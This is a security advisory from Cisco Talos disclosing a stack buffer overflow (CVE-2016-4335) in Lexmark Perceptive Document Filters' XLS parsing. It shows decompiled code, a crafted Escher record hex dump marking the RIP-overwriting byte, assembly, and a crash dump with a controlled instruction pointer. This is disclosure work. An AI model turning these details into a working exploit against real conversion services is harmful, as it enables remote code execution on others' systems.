Talos Vulnerability Report

TALOS-2016-0172

LexMark Perceptive Document Filters XLS Convert Code Execution Vulnerability

August 6, 2016
CVE Number

CVE-2016-4335

Description

An exploitable buffer overflow exists in the XLS parsing of the Perspective Document Filters conversion functionality. A crafted XLS document can lead to a stack based buffer overflow resulting in remote code execution.

Tested Versions

Lexmark Perceptive Document Filters

Product URLs

http://www.lexmark.com/en_us/partners/enterprise-software/technology-partners/oem-technologies/document-filters.html

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

This vulnerability is present in the Lexmark Document filter parsing which is used for big data, eDiscovery, DLP, email archival, content management, business intelligence and intelligent capture services. This product is mainly used by MarkLogic for document conversions in as part of their web based document search and rendering. It can convert common formats such as Microsoft’s document formats into more useable and easily viewed formats.

There is a vulnerability in the parsing and conversion of a XLS document. A specially crafted XLS file can lead to an out of bounds write and ultimately to remote code execution.

Escher is part of the Office DLL and is used by PowerPoint, Word, FrontPage, Publisher, and Excel. Escher streams store their data as records with a common header. This header is shown below:

```
typedef struct MSOFBH
   {
     struct
          {
          ULONG ver : 4;
          ULONG inst: 12;
          ULONG fbt : 16;
          };
     ULONG cbLength;
} MSOFBH;
```

Essentially the XLS document is read in as a stream with defining headers to determine where data is and how it should be displayed. In the supplied test case the cbLength field is modified to be larger than the expected block. This value is read in directly from the XLS document and used in a memcpy to a stack based buffer of fixed size. The given POC uses a size of 0x900 and the stack buffer is 112.

Struct initialization:

```
MSOFBH *__fastcall common read_MSOFBH<ISYS_NS CDataReader>(common StreamReader *this, MSOFBH *header)
{
  __int16 version; // ax@1


  version = common StreamReader readInt16(this, header);
  LOBYTE(header->version) = version & 0xF | header->version & 0xF0;
  header->version = version & 0xFFF0 | header->version & 0xF;
  header->instance = common StreamReader readInt16(this, header);
  header->size = common StreamReader readInt32(this, header);
  return header;
}
```

The data corresponding to the read:

```
version
0308
instance
16f0
size
0009 0000 8100 3065 0100 8200 98b2
0000 8300 3065 0100 8400 98b2 0000 8500
0100 0000 8700 0000 0000 8800 0000 0000
8900 0000 0000 bf00 0800 0f00 0c01 f400
0010 0d01 0000 0020 0e01 0000 0020 8001
0000 0000 8101 5000 0008 8201 0000 0100
8301 5000 0008 8401 0000 0100 8501 0000
0020 8641 0000 0000 87c1 0000 0000 8801
0000 0000 8901 0000 0000 8a01 0000 0000
8b01 0000 0000 8c01 0000 0000 8d01 0000
0000 8e01 0000 0000 8f01 0000 0000 9001
0000 0000 9101 0000 0000 9201 0000 0000
4000 0000 0000 9401 0000 0000 9501 0000
0000 9601 0000 0000 97c1 0000 0000 9801
0000 0000 9901 0000 0000 9a01 0000 0000
9b01 0000 0000 9c01 0300 0040 bf01 1c00
1e00 c001 0000 0000 c101 0000 0100 4141 <--- byte 524 overwrites the RIP
4141 0000 0000 0000 0020 c401 0000 0000
c541 0000 0000 c6c1 0000 0000 c701 0000
```

The instance in the header is used to determine the code path taken for the corresponding data. The instance value falls between 0xF000 and 0xFFFF and the meanings of these values can be looked up. In this case the value of 0xF016, corresponding to a msofbtDgg structure, leads us down the vulnerable code path.

```
  v6 = a4;
  v7 = MSOFBH_header->instance;
  if ( v7 != 0xF00Bu )
  {
    if ( v7 > 0xF00Bu )
    {
      if ( v7 != 0xF11Au )
      {
        if ( v7 > 0xF11Au )
        {
          if ( v7 == 0xF11Eu || v7 == 0xF122u )
            goto LABEL_7;
          goto LABEL_11;
        }
        if ( v7 == 0xF016u )
        {
          (*(*&a3->common streamreader0 + 16LL))(a3, stack_buffer_112, MSOFBH_header->size); <--- vulnerable function call
          v22 = stack_buffer;
```

And the stream reader assembly:

```
ISYS_NS CPagedMemoryStream Read




   0x00007ffff4905f56 <+86>:    movsxd rsi,esi
   0x00007ffff4905f59 <+89>:    mov    rdx,r12    <--- Header->size
   0x00007ffff4905f5c <+92>:    add    rsi,rax    <--- Escher stream data on the heap
   0x00007ffff4905f5f <+95>:    mov    r15,r12
=> 0x00007ffff4905f62 <+98>:    call   0x7ffff48bbfc8 <memcpy@plt>   <--- RDI points to our stack buffer
```

The subsequent crash with user controlled PC:

```
RAX: 0x6858d0 --> 0x7ffff402ceb0 --> 0x7ffff36d7fb0 (<_ZN6common11IRenderable9SetZIndexEi>:    mov    DWORD PTR [rdi+0x8],esi)
RBX: 0x199000000000198
RCX: 0x683f38 --> 0x2900000081
RDX: 0x683f20 --> 0x1
RSI: 0x7ffff68c0b28 --> 0x0
RDI: 0x683f38 --> 0x2900000081
RBP: 0x19a00000000
RSP: 0x7ffffffed210 --> 0x1c420000000
RIP: 0x41414141 ('AAAA')
R8 : 0x1
R9 : 0x683f20 --> 0x1
R10: 0x683f10 --> 0x30 ('0')
R11: 0x7ffff4904800 (<_ZN7ISYS_NS18CPagedMemoryStream4SeekElNS_11CSeekOriginE>:    cmp    edx,0x1)
R12: 0x19b0000
R13: 0x1bf40000003019c
R14: 0x1c0001e001c
R15: 0x1000001c10000
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffed210 --> 0x1c420000000
0008| 0x7ffffffed218 --> 0x41c50000
0016| 0x7ffffffed220 --> 0x1c700000000c1c6
0024| 0x7ffffffed228 --> 0x1c800000000
0032| 0x7ffffffed230 --> 0x1c90000
0040| 0x7ffffffed238 --> 0x1cb0000000001ca
0048| 0x7ffffffed240 --> 0x1cc00002535
0056| 0x7ffffffed248 --> 0x1cd0008
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041414141 in ?? ()
```

In summary a size integer is read in directly from the user and is used as the size for a memcpy causing a stack based buffer overflow fully controllable by an attacker.

Crash Information

```
EXCEPTION_FAULTING_ADDRESS:0x007ffff7fe0000
EXCEPTION_CODE:0xb
FAULTING_INSTRUCTION:mov    BYTE PTR [rax],dl
MAJOR_HASH:b0aaec1471bbd86d7e818f1ebd111c6f
MINOR_HASH:b74fe16d6a33042541ff3552757b4e72
STACK_DEPTH:14
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSshared.so!next_code+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSshared.so!compress_filter_read+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSshared.so!__archive_read_filter_ahead+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSshared.so!bzip2_reader_bid+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSshared.so!archive_read_open1+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSreaders.so!ISYS_NS CLibArchiveReader openArchive()+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSreaders.so!ISYS_NS CLibArchiveReader LoadDocument2(ISYS_NS CISYSSource const*, ISYS_NS tag_ReaderContext*)+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSreaders.so!ISYS_NS CISYSReader Prepare(ISYS_NS CStream*, ISYS_NS CISYSSource const*, ISYS_NS tag_ReaderContext*)+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSreaders.so!ISYS_NS exports IGR_Open_File_FromStream(wchar_t const*, wchar_t const*, ISYS_NS CStream*, bool, ISYS_NS exports Ext_Open_Options*, int, wchar_t const*, int*, int*, void**, int*, int, Error_Control_Block*)+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYSreaders.so!ISYS_NS exports IGR_Open_Stream_Ex(IGR_Stream*, int, unsigned short const*, int*, int*, void**, Error_Control_Block*)+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/libISYS11df.so!IGR_Open_Stream_Ex+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/convert!processStream(IGR_Stream*, long long&, ToXHTML&, std basic_ostringstream<char, std char_traits<char>, std allocator<char> >&)+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/convert!processFile(std string, std basic_ostringstream<char, std char_traits<char>, std allocator<char> >&)+0x0
STACK_FRAME:/home/t/Downloads/cvtisys/cvtisys/convert!main+0x0
INSTRUCTION_ADDRESS:0x007ffff496e021
INVOKING_STACK_FRAME:0
DESCRIPTION:Access violation on destination operand
SHORT_DESCRIPTION:DestAv (8/22)
OTHER_RULES:AccessViolation (21/22)
CLASSIFICATION:EXPLOITABLE
EXPLANATION:The target crashed on an access violation at an address matching the destination operand of the instruction. This likely indicates a write access violation, which means the attacker may control the write address and/or value.
```

Exploit Proof-of-Concept

Ensure library path is setup correctly and run the convert application with the trigger passed in as the first argument.

Timeline

2016-05-19 - Vendor Disclosure
2016-08-06 - Public Release
Credit

Discovered by Marcin Noga and Tyler Bohan of Cisco Talos.